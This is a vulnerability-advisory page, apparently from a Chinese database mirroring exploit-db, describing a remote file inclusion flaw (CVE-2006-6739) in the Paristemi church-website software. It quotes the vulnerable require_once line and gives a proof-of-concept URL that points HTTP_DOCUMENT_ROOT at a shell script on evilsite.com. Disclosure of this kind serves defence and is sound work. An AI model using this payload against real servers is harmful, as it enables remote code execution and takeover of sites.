Paristemi 'BuyCD.PHP'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111829 漏洞类型 代码注入
发布时间 2006-12-19 更新时间 2006-12-27
CVE编号 CVE-2006-6739 CNNVD-ID CNNVD-200612-554
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2955
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-554
|漏洞详情
Paristemi0.8.3的buycd.php存在PHP远程文件包含漏洞,远程攻击者可以通过HTTP_DOCUMENT_ROOT参数中的URL执行任意PHP代码。
|漏洞EXP
+-------------------------------------------------------------------------------------------
+ Paristemi 0.8.3b (buycd.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.paristemi.com/
+ Affected Software .: Paristemi 0.8.3b
+ Download ..........: http://downloads.sourceforge.net/paristemi/paristemi-0_8_3.zip
+ Description .......: "Paristemi is a PHP/MySQL free website for churches"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Paristemi music/buycd.php fails to initialize the $HTTP_DOCUMENT_ROOT variable before using
+ it to include files, assuming register_globals = on, we can initialize the variable in a
+ query string and include a remote file of our choice.
+
+ Vulnerable Code:
+ music/buycd.php, line(s) 03:
+ -> <?php require_once $HTTP_DOCUMENT_ROOT.$INCLUDE_PATH.$HEADER.
+ 
+ Proof Of Concept:
+ http://[target]/[path]/music/buycd.php?HTTP_DOCUMENT_ROOT=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-19]
|参考资料

来源:BID
名称:21665
链接:http://www.securityfocus.com/bid/21665
来源:MILW0RM
名称:2955
链接:http://www.milw0rm.com/exploits/2955
来源:MILW0RM
名称:2955
链接:http://milw0rm.com/exploits/2955